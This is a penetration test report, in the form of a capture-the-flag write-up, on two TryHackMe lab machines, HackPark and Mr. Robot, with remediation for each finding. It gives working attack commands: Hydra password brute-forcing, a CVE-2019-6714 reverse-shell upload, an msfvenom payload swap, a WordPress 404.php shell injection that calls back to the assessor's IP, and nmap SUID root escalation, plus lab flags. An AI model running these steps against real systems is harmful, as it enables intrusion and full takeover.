VULNERABILITY ASSESSMENT & PENETRATION TEST REPORT

Combined Engagement — HackPark & Mr. Robot

Field	Detail
Report Title	Vulnerability Assessment & Penetration Test Report
Engagement	Multi-Target Assessment — HackPark & Mr. Robot
Target 1	HackPark (TryHackMe Lab) — 10.49.153.22
Target 2	Mr. Robot CTF (TryHackMe Lab) — 10.49.164.182
Report Date	2026-03-09
Assessor	r3b3Lli0us_kID
Classification	Confidential — Lab Exercise
Engagement Type	Black Box Penetration Test

1. Executive Summary

A black-box penetration test was conducted against two separate targets — HackPark and Mr. Robot — as part of an authorised lab exercise on TryHackMe. Both engagements were conducted from an unauthenticated external attacker position with no prior knowledge of the systems.
Result: Both targets were fully compromised.

Target	IP	OS	Result
HackPark	**10.49.153.22**	**Windows Server 2012 R2**	**Full SYSTEM compromise**
Mr. Robot	**10.49.164.182**	**Ubuntu Linux**	**Full root compromise**

Combined Findings Overview

Severity	HackPark	Mr. Robot	Total
Critical	**2**	**1**	**3**
High	**1**	**2**	**3**
Medium	**1**	**1**	**2**
Total	**4**	**4**	**8**

Both targets share a common failure pattern: weak or default credentials combined with unpatched or misconfigured software enabled an unauthenticated attacker to achieve full administrative control of both systems in a single session, without requiring any insider knowledge or advanced exploitation techniques.

---

2. Scope & Objectives

In Scope

Target	IP	Services	Included
HackPark Server	10.49.153.22	HTTP (80), RDP (3389)	Yes
Mr. Robot Server	10.49.164.182	HTTP (80), HTTPS	Yes

		(443), SSH (22)	

Out of Scope: All other systems, network infrastructure, third-party services, and external dependencies.

Objectives

- Identify the exposed attack surface of each target through network and service enumeration
- Attempt unauthenticated and authenticated exploitation of identified vulnerabilities
- Escalate privileges to the highest available level on each system
- Capture proof-of-compromise flags
- Document all findings with full evidence, root cause analysis, and remediation guidance

---

3. Methodology

```
Reconnaissance → Enumeration → Exploitation → Post-Exploitation → Reporting
```

Phase 1 — Reconnaissance

What & Why:
Automated port scanning and service fingerprinting using nmap. Before any attack can be planned, the assessor must know what is running on the target. Port scanning identifies which TCP/UDP ports are open and what services are listening. Service fingerprinting reveals software names and version numbers, which are cross-referenced against known vulnerability databases. Without this step, exploitation would be guesswork.

```
nmap -Pn -sC -sV -oN nmap.txt <TARGET>
# -Pn : Skip host discovery (treat all hosts as up)
# -sC : Run default NSE scripts (banners, auth checks, version info)
# -sV : Probe open ports for service/version info
# -oN : Save output to file for reference
```

Phase 2 — Enumeration

What & Why:
Deep inspection of discovered services — web directory scanning, CMS identification, login form analysis, file and endpoint discovery. Open ports alone do not reveal where vulnerabilities lie. Enumeration drills into each service to find attack surfaces: login pages, admin panels, exposed files, software versions, and misconfigurations. For web applications, this includes directory brute-forcing to find hidden paths and reviewing publicly accessible files such as robots.txt that may reveal sensitive endpoints.

Phase 3 — Exploitation

What & Why:
Active exploitation of identified vulnerabilities to gain an initial foothold. This phase turns discovered vulnerabilities into actual access. It validates that the vulnerability is real and exploitable (not just theoretical), and demonstrates the business impact of leaving it unpatched. For this engagement, exploitation involved credential brute-forcing and leveraging authenticated remote code execution vulnerabilities in web applications.

Phase 4 — Post-Exploitation

What & Why:
Privilege escalation, lateral movement, and flag capture after gaining initial access. Initial access rarely provides the highest level of privilege. Post-exploitation demonstrates the full potential damage an attacker could cause once inside — reading all files, installing backdoors, pivoting to other systems. Privilege escalation specifically shows how a low-privilege foothold can be leveraged to gain administrative or root control.

Phase 5 — Reporting

What & Why:
Documenting all findings, evidence, impact assessments, and remediation guidance. Without clear documentation, findings cannot be actioned by the target organisation. A good pentest report provides not just a list of vulnerabilities but a narrative of the attack chain, reproducible evidence, and prioritised remediation steps.

---

4. Findings Summary

HackPark (10.49.153.22)

ID	Title	CVSS	Severity	Status
H-01	Weak Administrator Credentials	9.8	Critical	Open
H-02	CVE-2019-6714 — BlogEngine.NET RCE	9.8	Critical	Open
H-03	SystemScheduler Insecure Service Binary	7.8	High	Open

H-04	RDP Exposed to Internet (Port 3389)	5.3	Medium	Open

Mr. Robot (10.49.164.182)

ID	Title	CVSS	Severity	Status
R-01	Weak WordPress Credentials + No Rate Limiting	9.8	Critical	Open
R-02	WordPress Theme Editor RCE	8.8	High	Open
R-03	SUID nmap — Privilege Escalation to Root	7.8	High	Open
R-04	Sensitive Wordlist Exposed on Web Root	5.3	Medium	Open

---

5. Detailed Findings — HackPark (10.49.153.22)

H-01 — Weak Administrator Credentials

Field	Detail
Severity	Critical
CVSS Score	9.8
CVSS Vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected Component	BlogEngine.NET Admin Login —

	/Account/login.aspx

Description
The BlogEngine.NET administrator account (admin) was protected by the weak password "1qaz2wsx" — a keyboard-walk pattern found in common wordlists such as rockyou.txt. The login form has no rate limiting, lockout policy, or CAPTCHA, allowing automated brute-force attacks.
Why This Step Was Performed
After identifying BlogEngine.NET, the login page at /Account/login.aspx was a natural target. Any web application with an admin login is a potential entry point. Automated credential testing was used because the absence of any lockout mechanism meant thousands of password attempts could be made without risk of detection. The rockyou.txt wordlist covers the most commonly used weak passwords first.
Evidence

```
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.49.153.22 \
  http-post-form '/Account/login.aspx:<form-fields>:Login failed' -t 30

→ login: admin   password: 1qaz2wsx
```

Impact
Administrative CMS access enables content manipulation, file uploads, and further exploitation of authenticated application features (H-02).
Remediation

- **Change admin password to a strong, unique credential (20+ chars, mixed case, symbols)**
- **Enforce account lockout after 5 failed attempts**
- **Implement multi-factor authentication on the admin panel**
- **Consider restricting /Account/login.aspx to trusted IP ranges**

H-02 — CVE-2019-6714: BlogEngine.NET 3.3.6 Path Traversal → RCE

Field	Detail
Severity	Critical
CVSS Score	9.8
CVSS Vector	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVE	CVE-2019-6714
Affected Component	BlogEngine.NET 3.3.6 — File Manager API

Description
BlogEngine.NET 3.3.6 contains a path traversal vulnerability in its file manager API (/api/upload?action=filemgr). An authenticated attacker can upload a malicious .ascx

ASP.NET user control named PostView.ascx into a date-based subdirectory of App_Data/files/. Execution is triggered by setting the theme cookie to a traversal path pointing to the upload directory.

Why This Step Was Performed

After gaining admin access, the BlogEngine.NET version (3.3.6) was searched against public vulnerability databases, revealing CVE-2019-6714. The file upload feature combined with the theme loading mechanism creates a path to arbitrary code execution. A .ascx reverse shell was crafted to connect back to the attacker's listener. The theme cookie method was used after confirming the URL parameter method did not reliably trigger execution.

Evidence

```
# Upload malicious PostView.ascx
POST /api/upload?action=filemgr HTTP/1.1
[multipart: file=PostView.ascx (C# reverse shell)]
→ 201 Created

# Trigger via theme cookie
GET / HTTP/1.1
Cookie: theme=../../App_Data/files/2026/03/

# Shell received
nc -lvnp 4444
connect to [192.168.205.106] from [10.49.153.22]
C:\windows\system32\inetsrv> whoami
iis apppool\blog
```

Impact

Remote code execution as iis apppool\blog — persistent foothold with filesystem access and the ability to read web.config credentials.

Remediation

- **Immediately upgrade BlogEngine.NET to the latest patched release**
- **Restrict file manager to administrators only; audit uploaded file types**
- **Implement a WAF rule blocking .ascx, .aspx, .ashx uploads**
- **Disable or strictly validate the theme cookie against an allowlist**

H-03 — SystemScheduler Insecure Service Binary

Field	Detail
Severity	High
CVSS Score	7.8
CVSS Vector	CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Affected Component	C:\Program Files (x86)\SystemScheduler\Message.exe

Description

The SystemScheduler service runs Message.exe on a timed schedule (~30 seconds) with SYSTEM privileges. The binary and its parent directory have insecure ACL permissions granting Everyone full control. Any user can replace Message.exe with a malicious payload, which is then executed automatically as NT AUTHORITY\SYSTEM.

Why This Step Was Performed

After gaining a low-privilege shell as iis apppool\blog, the next objective was to escalate privileges. WinPEAS was deployed to automate enumeration of privilege escalation vectors — a standard post-exploitation step. WinPEAS identified the SystemScheduler service with world-writable permissions on its executable. A msfvenom reverse shell was generated, transferred to the target via HTTP, and placed as the replacement binary. When the scheduler triggered approximately 30 seconds later, the SYSTEM shell was received.

Evidence

```
# WinPEAS output
C:\Program Files (x86)\SystemScheduler\Message.exe
  Permissions: Everyone:(F) — Full Control

# Generate and deliver payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker> LPORT=5555 -f exe -o
       Message.exe
powershell -c "Copy-Item C:\Windows\Temp\Message.exe 'C:\Program Files
       (x86)\SystemScheduler\Message.exe' -Force"

# SYSTEM shell received
C:\PROGRA~2\SYSTEM~1> whoami
nt authority\system
```

Impact

Full SYSTEM-level compromise. The attacker can read all files (including SAM/SYSTEM hives), install persistent backdoors, and pivot to other systems.

Remediation

- **Fix ACLs on C:\Program Files (x86)\SystemScheduler\ — restrict to Administrators and SYSTEM only**
- **Run the scheduler under a dedicated low-privilege service account, not SYSTEM**
- **Enable Windows Defender Application Control to block unsigned binary replacement**
- **Audit service binary permissions: icacls "C:\Program Files (x86)\SystemScheduler\"**

H-04 — RDP Exposed to Internet (Port 3389)

Field	Detail
Severity	Medium
CVSS Score	5.3
CVSS Vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Affected Component	Port 3389/tcp — Microsoft Terminal Services

Description
The Remote Desktop Protocol service is accessible from the public internet with no network-level restriction, on a Windows Server 2012 R2 machine that reached end-of-life in October 2023.
Why This Step Was Performed
Port 3389 was identified during the nmap scan. RDP is noted as a risk because it provides direct interactive access to the Windows desktop. A successful RDP brute force or vulnerability exploit (e.g. BlueKeep, DejaBlue) would bypass all web-layer defences. This finding is documented to highlight the risk of unnecessary service exposure.
Evidence

```
PORT     STATE SERVICE       VERSION
3389/tcp open  ms-wbt-server Microsoft Terminal Services
  rdp-ntlm-info:
    Target_Name: HACKPARK
    Product_Version: 6.3.9600
```

Remediation

- **Block port 3389 at the firewall for all public IP addresses**
- **Require VPN or bastion host access for all RDP connections**
- **Enable Network Level Authentication (NLA)**
- **Apply all available Windows patches; migrate from EOL Windows Server 2012 R2**

---

6. Detailed Findings — Mr. Robot (10.49.164.182)

R-01 — Weak WordPress Credentials + No Rate Limiting

Field	Detail
Severity	Critical
CVSS Score	9.8
CVSS Vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected Component	WordPress Login — /wp-login.php

Description
The WordPress administrator account (elliot) was protected by the password ER28-0652 — a value present within the fsocity.dic wordlist that was publicly exposed on the server's own web root. The login form has no rate limiting, lockout policy, or CAPTCHA. WordPress also discloses via differing error messages whether a username exists, enabling username enumeration prior to brute-forcing.
Why This Step Was Performed

Initial enumeration of robots.txt revealed both the first flag (key-1-of-3.txt) and a custom wordlist (fsocity.dic). The robots.txt file is intended to guide search engine crawlers but inadvertently advertised the wordlist. The WordPress login at /wp-login.php was identified during enumeration. WordPress's different error messages for invalid username vs. wrong password were used to confirm the username "elliot" exists before brute-forcing. The wordlist was deduplicated from 858,160 to 11,451 unique entries to dramatically reduce attack time.

Evidence

```
# Username confirmed via error message difference
curl -X POST http://10.49.164.182/wp-login.php -d "log=elliot&pwd=wrong"
→ "The password you entered for the username elliot is incorrect"

# Deduplicate wordlist
sort -u fsocity.dic > fsocity-uniq.dic  # 858,160 → 11,451 entries

# Brute force
hydra -l elliot -P fsocity-uniq.dic 10.49.164.182 \
  http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:ERROR" -t 30
→ login: elliot   password: ER28-0652
```

Impact

Administrative WordPress access enables full CMS control and exploitation of admin-only features (R-02).

Remediation

- **Change the elliot account password to a strong, unique credential (20+ characters)**
- **Implement account lockout after 5 failed login attempts**
- **Add CAPTCHA or MFA to the WordPress admin login**
- **Remove all non-web files from the web root (especially wordlists)**
- **Configure WordPress to return generic error messages for all login failures**

R-02 — WordPress Theme Editor RCE

Field	Detail
Severity	High
CVSS Score	8.8
CVSS Vector	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Affected Component	WordPress Admin — Theme Editor (/wp-admin/theme-editor.php)

Description

WordPress 4.3.1 includes a built-in theme file editor accessible to administrators, which allows raw PHP code to be written directly into theme template files. An attacker with admin credentials can replace the 404.php template of the active theme with a PHP reverse shell.

Requesting any non-existent URL triggers WordPress to load the 404 template, executing the injected code.

Why This Step Was Performed

After gaining admin credentials, the objective was remote code execution. WordPress's theme editor is a known RCE path for authenticated attackers — it is essentially a web-based PHP code editor with no content validation. The 404.php template was chosen because it is reliably triggered by requesting any non-existent page. The shell's LHOST was set to the attacker's TryHackMe VPN IP (tun0: 192.168.205.106) rather than the VMware NAT IP to ensure the reverse connection would route correctly over the VPN tunnel back to the Kali machine.

Evidence

```
# Prepare reverse shell with correct VPN IP
cp /usr/share/webshells/php/php-reverse-shell.php shell.php
sed -i "s/127.0.0.1/192.168.205.106/" shell.php

# Authenticate and get _wpnonce token
curl -s -c /tmp/wp-cookies.txt -d "log=elliot&pwd=ER28-0652" \
  http://10.49.164.182/wp-login.php -L -o /dev/null

# Inject shell into 404.php via theme editor API
curl -s -b /tmp/wp-cookies.txt -X POST \
  http://10.49.164.182/wp-admin/theme-editor.php \
  --data-urlencode "newcontent@shell.php" \
  -d "_wpnonce=<value>&action=update&file=404.php&theme=twentyfifteen"
→ "File edited successfully."

# Trigger execution
curl http://10.49.164.182/doesnotexist
→ connect to [192.168.205.106] from [10.49.164.182]
→ uid=1(daemon) gid=1(daemon)
```

Impact

Remote code execution as daemon — foothold on the Linux server with filesystem access and ability to read password hashes.

Remediation

- **Disable the WordPress file editor: define('DISALLOW_FILE_EDIT', true) in wp-config.php**
- **Upgrade WordPress 4.3.1 to the current supported version**
- **Restrict /wp-admin/ access to trusted IP ranges**
- **Implement a WAF to detect and block malicious file upload attempts**

R-03 — SUID nmap — Privilege Escalation to Root

Field	Detail
Severity	High
CVSS Score	7.8
CVSS Vector	CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Affected Component	/usr/local/bin/nmap (version 3.81)

Description
nmap version 3.81 includes an --interactive mode that spawns a sub-shell. The binary has the SUID bit set, causing it to execute with root privileges regardless of who runs it. Any authenticated user can run nmap --interactive and execute !sh to drop into a root shell — a single-step privilege escalation requiring no exploit code.
Why This Step Was Performed
After escalating to the robot user via the cracked MD5 hash, the final step was to obtain root. A standard Linux privilege escalation technique involves finding SUID binaries — programs that run with the file owner's privileges regardless of who executes them. The find command was used to enumerate all SUID binaries system-wide. nmap 3.81 with SUID was identified, and its --interactive mode is a well-documented privesc path catalogued on GTFOBins. The !sh command within nmap's interactive mode spawns a shell inheriting nmap's elevated (root) privileges.
Evidence

```
# Enumerate all SUID binaries
find / -perm -4000 -type f 2>/dev/null
→ /usr/local/bin/nmap

# Verify version
nmap --version
→ Starting nmap V. 3.81

# Exploit
nmap --interactive
nmap> !sh

whoami
→ root

cat /root/key-3-of-3.txt
→ 04787ddef27c3dee1ee161b21670b4e4
```

Impact
Full root-level compromise — complete control over all files, processes, and network interfaces.
Remediation

- **Remove SUID bit immediately: chmod -s /usr/local/bin/nmap**
- **Upgrade nmap to current version (interactive mode removed in v5+)**
- **Audit all SUID binaries: find / -perm -4000 -type f 2>/dev/null**
- **Restrict nmap execution to privileged users only if elevated scanning is required**

R-04 — Sensitive Wordlist Exposed on Web Root

Field	Detail
Severity	Medium

CVSS Score	5.3
CVSS Vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Affected Component	http://10.49.164.182/fsocity.dic

Description
A custom wordlist file (fsocity.dic, 858,160 entries) was publicly accessible on the web root and listed in robots.txt. The file contained the WordPress admin password, making the brute-force attack near-certain and dramatically reducing attack time.
Why This Step Was Performed
robots.txt was checked as one of the first enumeration steps — it is standard practice because administrators sometimes list sensitive paths to prevent indexing, inadvertently advertising them to attackers. The fsocity.dic file was downloaded and used as the brute-force wordlist, which proved to contain the target's own admin password.
Evidence

```
# robots.txt
User-agent: *
fsocity.dic   ← custom wordlist containing admin password
key-1-of-3.txt

# Download
wget http://10.49.164.182/fsocity.dic  → 6.91 MB, 858,160 entries
```

Remediation

- **Remove fsocity.dic and all non-web-serving files from the web root immediately**
- **Sanitise robots.txt — only reference legitimate site paths**
- **Implement web server access controls to restrict file browsing**

---

7. Attack Timelines

HackPark (10.49.153.22)

```
[Phase 1 — Reconnaissance]
nmap -Pn -sC -sV 10.49.153.22
→ Port 80: IIS 8.5 / BlogEngine.NET 3.3.6
→ Port 3389: RDP (Windows Server 2012 R2 — Build 9600)

[Phase 2 — Exploitation]
Hydra brute force on /Account/login.aspx
→ Credentials: admin:1qaz2wsx  [H-01]
CVE-2019-6714 — upload PostView.ascx reverse shell
→ Trigger via theme cookie: ../../App_Data/files/2026/03/
→ Shell: iis apppool\blog  [H-02]

[Phase 3 — Privilege Escalation]
WinPEAS → SystemScheduler Message.exe Everyone:(F)  [H-03]
msfvenom payload → replace Message.exe → scheduler triggers
→ Shell: NT AUTHORITY\SYSTEM
```

```
[Flags]
user.txt → 759bd8af507517bcfaede78a21a73e39
root.txt → 7e13d97f05f7ceb9881a3eb3d78d3e72
```

Mr. Robot (10.49.164.182)

```
[Phase 1 — Reconnaissance]
nmap -Pn -sC -sV 10.49.164.182
→ Port 80/443: Apache / WordPress 4.3.1
→ Port 22: OpenSSH 8.2p1

[Phase 2 — Enumeration]
robots.txt → key-1-of-3.txt (Key 1) + fsocity.dic  [R-04]
WordPress login error → username: elliot confirmed

[Phase 3 — Exploitation]
Hydra brute force → elliot:ER28-0652  [R-01]
WordPress theme editor → 404.php replaced with reverse shell  [R-02]
curl /doesnotexist → shell triggers
→ Shell: daemon

[Phase 4 — Privilege Escalation to robot]
/home/robot/password.raw-md5 → c3fcd3d76192e4007dfb496cca67e13b
hashcat MD5 → abcdefghijklmnopqrstuvwxyz
su robot → Key 2 retrieved

[Phase 5 — Privilege Escalation to root]
find SUID → /usr/local/bin/nmap v3.81  [R-03]
nmap --interactive → !sh → root
→ Key 3 retrieved

[Keys]
Key 1 → 073403c8a58a1f80d943455fb30724b9
Key 2 → 822c73956184f694993bede3eb39f959
Key 3 → 04787ddef27c3dee1ee161b21670b4e4
```

---

8. Conclusion & Priority Actions

Both targets were fully compromised through attack chains that required no zero-day exploits, no advanced techniques, and no insider knowledge. Every step relied on publicly known vulnerabilities, default or weak credentials, and basic misconfigurations — issues that are entirely preventable with standard security hygiene.

Common Weaknesses Across Both Targets

Weakness	HackPark	Mr. Robot
Weak/default credentials	Yes	Yes
No login rate limiting or	Yes	Yes

lockout		
Unauthenticated → RCE path exists	Yes	Yes
Privilege escalation via misconfiguration	Yes	Yes
Outdated / unpatched software	Yes	Yes

Priority Actions

Immediate (within 24 hours):

- **Change all default and weak passwords on both systems**
- **Patch or replace BlogEngine.NET 3.3.6 (HackPark)**
- **Disable the WordPress theme/plugin file editor (Mr. Robot)**
- **Remove SUID bit from nmap: chmod -s /usr/local/bin/nmap (Mr. Robot)**
- **Fix SystemScheduler binary ACLs (HackPark)**

Short-term (within 1 week):

- **Implement login rate limiting and account lockout on all web applications**
- **Firewall-restrict RDP (port 3389) to VPN/bastion only (HackPark)**
- **Remove all non-web files from web roots**
- **Upgrade WordPress 4.3.1 and all plugins to current versions**
- **Upgrade nmap to v5+ on all systems**

Long-term:

- **Consider migrating from Windows Server 2012 R2 (EOL October 2023)**
- **Implement a Web Application Firewall (WAF) on both web-facing systems**
- **Deploy endpoint detection and response (EDR) tooling**
- **Establish a regular patch management cycle**
- **Conduct periodic penetration tests and vulnerability assessments**

---

9. Appendix

A — Tools Used

Tool	Version	Purpose
nmap	7.98	Port scanning, service detection
Hydra	9.6	HTTP form brute force (both targets)

curl	—	Web requests, authentication, API interaction
gobuster	—	Web directory and file enumeration
php-reverse-shell	—	PHP reverse shell payload (Mr. Robot)
WinPEAS	latest	Windows privilege escalation enumeration (HackPark)
hashcat	—	MD5 hash cracking (Mr. Robot)
netcat	1.10	Reverse shell listener (both targets)
msfvenom	—	Windows payload generation (HackPark)
Python requests	3.x	CVE-2019-6714 exploit scripting (HackPark)
Gemini 2.0 Flash	—	Research assistance

B — Proof of Compromise

Target	Flag File	Value
HackPark	C:\Users\jeff\Desktop\user.txt	759bd8af507517bcfaede78a21a73e39
HackPark	C:\Users\Administrator\Desktop\root.txt	7e13d97f05f7ceb9881a3eb3d78d3e72
Mr. Robot	/key-1-of-3.txt (web root)	073403c8a58a1f80d943455fb30724b9
Mr. Robot	/home/robot/key-2-of-3.txt	822c73956184f694993bede3eb39f959
Mr. Robot	/root/key-3-of-3.txt	04787ddef27c3dee1ee161b21670b4e4

C — References

- CVE-2019-6714: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6714
- BlogEngine.NET exploit: ExploitDB #46353
- GTFOBins nmap: https://gtfobins.github.io/gtfobins/nmap/
- WinPEAS: https://github.com/carlospolop/PEASS-ng
- TryHackMe HackPark: https://tryhackme.com/room/hackpark
- TryHackMe Mr. Robot: https://tryhackme.com/room/mrrobot